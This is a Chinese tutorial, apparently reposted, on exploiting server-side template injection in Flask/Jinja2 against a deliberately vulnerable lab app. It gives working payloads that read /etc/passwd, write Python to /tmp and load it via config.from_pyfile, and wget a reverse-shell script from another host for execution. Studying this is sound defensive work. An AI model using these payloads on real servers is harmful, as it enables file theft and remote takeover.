内容简介:FlaskJinja2 开发中遇到的的服务端注入问题研究 II
0×00. 前言
本篇文章是 《Flask Jinja2 开发中遇到的的服务端注入问题研究》 续篇,我们继续研究 Flask Jinja2开发中遇到的SSTI问题,本篇文章会介绍新的利用方式。
0×01. 测试代码
为了更好地演示Flask/Jinja2 开发中的SSTI问题,我们搭建一个小的POC程序,主要由两个 python 脚本组成, 其中page_not_found 存在SSTI漏洞:
Flask-test.py
#!/usr/bin/env python
# -*- coding:utf8 -*-
import hashlib
import logging
from datetime import timedelta
from flask import Flask
from flask import request
from flask import config
from flask import session
from flask import render_template_string
from Config import ProductionConfig
app = Flask(__name__)
handler = logging.StreamHandler()
logging_format = logging.Formatter(
'%(asctime)s - %(levelname)s - %(filename)s - %(funcName)s - %(lineno)s - %(message)s')
handler.setFormatter(logging_format)
app.logger.addHandler(handler)
app.config.secret_key = "\xe8\xf7\xb9\xae\xfb\x87\xea4<5\xe7\x97D\xf4\x88)Q\xbd\xe1j'\x83\x13\xc7"
app.config.from_object(ProductionConfig) #将配置类中的配置导入程序
app.permanent_session_lifetime = timedelta(hours=6) #session cookies 有效期
page_size = 60
app.config['UPLOAD_DIR'] = '/var/www/html/upload'
app.config['PLUGIN_UPDATE_URL'] = 'https://ForrestX386.github.io/update'
app.config['PLUGIN_DOWNLOAD_ADDRESS'] = 'https://ForrestX386.github.io/download'
@app.route('/')
def hello_world():
return 'Hello World!'
@app.errorhandler(404)
def page_not_found(e):
template = '''
{%% block body %%}
<div class="center-content error">
<h1>Oops! That page doesn't exist.</h1>
<h3>%s</h3>
</div>
{%% endblock %%}
''' % (request.url)
return render_template_string(template, dir=dir,help=help, locals=locals), 404
if __name__ == '__main__':
app.run(host='0.0.0.0')
Config.py
#!/usr/bin/env python
# -*- coding: UTF-8 -*-
class Config(object):
ACCOUNT = 'vpgame'
PASSWORD = 'win666666'
class DevlopmentConfig(Config):
pass
class TestingConfig(Config):
pass
class ProductionConfig(Config):
HOST = '127.0.0.1'
PORT = 65521
DBUSERNAME = 'vpgame'
DBPASSWORD = 'win666666'
DBNAME = 'vpgame'
执行 python Flask-test.py
0×02. Flask/Jinja2 开发中的SSTI 利用之任意文件读取
先介绍一些概念
关于类对象
instance.__class__ 可以获取当前实例的类对象
我们知道python中新式类(也就是显示继承object对象的类)都有一个属性__class__可以获取到当前实例对应的类,随便选择一个简单的新
式类实例,比如”,一个空字符串,就是一个新式类实例,所以”.__class__ 就可以获取到实例对应的类(也就是<type ‘str’>)
类对象中的属性__mro__
class.__mro__ 获取当前类对象的所有继承类
python中类对象有一个属性__mro__, 这个属性返回一个tuple对象,这个对象包含了当前类对象所有继承的基类,tuple中元素的顺序就是MRO(Method Resolution Order) 寻找的顺序
http://10.1.100.3:5000/ {{”.__class__.__mro__}}
从结果中可以发现”对应的类对象str继承的顺序是basestring->object
类对象中的方法__subclasses__()
每一个新式类都保留了它所有的子类的引用,__subclasses__()这个方法返回了类的所有存活的子类的引用(注意是类对象引用,不是实例)
我们知道python中的类都是继承object的,所以只要调用object类对象的__subclasses__()方法就可以获取我们想要的类的对象,比如用于读取文件的file对象
开始漏洞利用
首先获取object对象的所有子类引用列表
http://10.1.100.3:5000/ {{”.__class__.__mro__[2].__subclasses__()}}
”.__class__.__mro__[2] 获取的就是object 类对象(<type ‘object’>)
从执行结果中可以看到,获取到非常多的子类类对象引用,这里我们比较关注的是file类对象(<type ‘file’>), 可以用来进行文件读取
我们选取file 类对象,并实例化一个匿名实例,给其传入参数 ‘/etc/passwd’
http://10.1.100.3:5000/ {{”.__class__.__mro__[2].__subclasses__()[40](‘/etc/passwd’).read()}}
可以看到成功实现了任意文件读取
0×03. Flask/Jinja2 开发中的SSTI 利用之远程代码执行
1 首先向服务器写入一个py代码的文件/tmp/tmp.cfg
访问如下URL
http://10.1.100.3:5000/ {{”.__class__.__mro__[2].__subclasses__()[40](‘/tmp/tmp.cfg’, ‘w’).write(‘from subprocess import check_output\n\n RUNCMD = check_output\n ‘)}}
注: 这里需要注意直接在浏览器中访问这个URL,浏览器自动将\n 变成/n, 所以要用burpsuite 的repeater 功能辅助一下
至此写入文件成功
2 利用Flask Template Globals 中的config上下文对象导入py代码
上一篇《Flask Jinja2开发中遇到的的服务端注入问题研究》中我们提到了render_template_string 函数中第二个参数context 这个上下文对象参数 默认值中就包含了Flask Template Globals 所有的全局变量,其中就包括config这个上下文对象(源代码Flask/config.py), from_pyfile 用于导入指定的py文件,源代码如下:
def from_pyfile(self, filename, silent=False):
filename = os.path.join(self.root_path, filename)
d = imp.new_module('config')
d.__file__ = filename
try:
with open(filename) as config_file:
exec(compile(config_file.read(), filename, 'exec'), d.__dict__)
except IOError as e:
if silent and e.errno in (errno.ENOENT, errno.EISDIR):
return False
e.strerror = 'Unable to load configuration file (%s)' % e.strerror
raise
self.from_object(d)
return True
这段代码的意思就是将指定的py文件导入,然后将导入的py文件中的大写成员属性加入到config这个上下文对象中(这就是为什么我用RUNCMD了,大写)
先访问:
http://10.1.100.3:5000/ {{config.from_pyfile(‘/tmp/tmp.cfg’)}}
再访问:
http://10.1.100.3:5000/ {{config.items()}}
至此,我们已经将RUNCMD导入到config这个模板上下文对象中了,而RUNCMD指向subprocess.check_output
3 利用注入的RUNCMD 执行系统命令下载反弹shell
访问:
http://10.1.100.3:5000/ {{config['RUNCMD'](‘/usr/bin/wget http://10.1.100.2/backShell.py -O /tmp/x’, shell=True)}}
从执行结果来看,反弹 shell 下载成功
4 利用config 上下文对象的from_pyfile方法导入反弹shell
我们知道python在导入模块的同时也会执行脚本中部分代码(class 和方法的定义不会执行),利用这一点,就可以执行反弹shell 了
访问:
http://10.1.100.3:5000/ {{config.from_pyfile(‘/tmp/x’)}}
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
算法问题实战策略
[韩] 具宗万 / 崔盛一 / 人民邮电出版社 / 2015-2 / 119.00元
第一部分 开始解决问题 第二部分 算法分析 第三部分 算法设计范式 第四部分 一些著名的算法 第五部分 基本数据结构 第六部分 树 第七部分 图一起来看看 《算法问题实战策略》 这本书的介绍吧!